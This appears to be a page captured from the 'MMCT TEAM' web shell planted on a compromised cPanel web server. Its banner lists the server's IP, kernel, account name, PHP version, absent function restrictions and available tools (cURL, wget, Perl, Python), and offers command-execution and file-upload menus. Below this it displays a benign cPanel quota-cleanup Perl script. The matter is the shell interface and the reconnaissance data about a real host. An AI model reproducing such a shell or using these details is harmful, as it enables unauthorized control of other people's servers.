MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.144.116.195
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /../scripts/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../scripts/cleanquotas
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/cleanquotas                     Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

use Cpanel::Logger          ();
use Cpanel::SafeRun::Errors ();
use Cpanel::Quota::Clean    ();
use Cpanel::Quota::Parse    ();
use Cpanel::Binaries        ();

my $logger = Cpanel::Logger->new();

$logger->info("Checking for orphaned quotas...");

my $REPQUOTA = Cpanel::Binaries::path('repquota');
-x $REPQUOTA or die "Cannot locate repquota";

my %seen;
for ( split /\n/, Cpanel::SafeRun::Errors::saferunallerrors( $REPQUOTA, '-av' ) ) {
    if (
        my ( $uid, $quota_line ) = m{
            ^ [#](\d+) \s+    # uid
              \S+      \s+
            ( \d+      \s+    # used
              \d+      \s+    # soft
              \d+      .+ ) $ # everything else
        }x
    ) {
        my ( $device, $disk_used, $disk_limit, $files_used, $files_limit ) = Cpanel::Quota::Parse::parse_quota_line( '/dev/null ' . $quota_line );
        next if !$disk_limit && !$files_limit;    # no limits set
        next if getpwuid($uid);                   # real user
        next if $seen{$uid}++;                    # each affected uid will be fixed one time for all filesystems

        Cpanel::Quota::Clean::zero_quota($uid);
        $logger->info("Filesystem quota was defined for nonexistent user with uid $uid (fixed)");
    }
}

$logger->info("Done.");

MMCT - 2023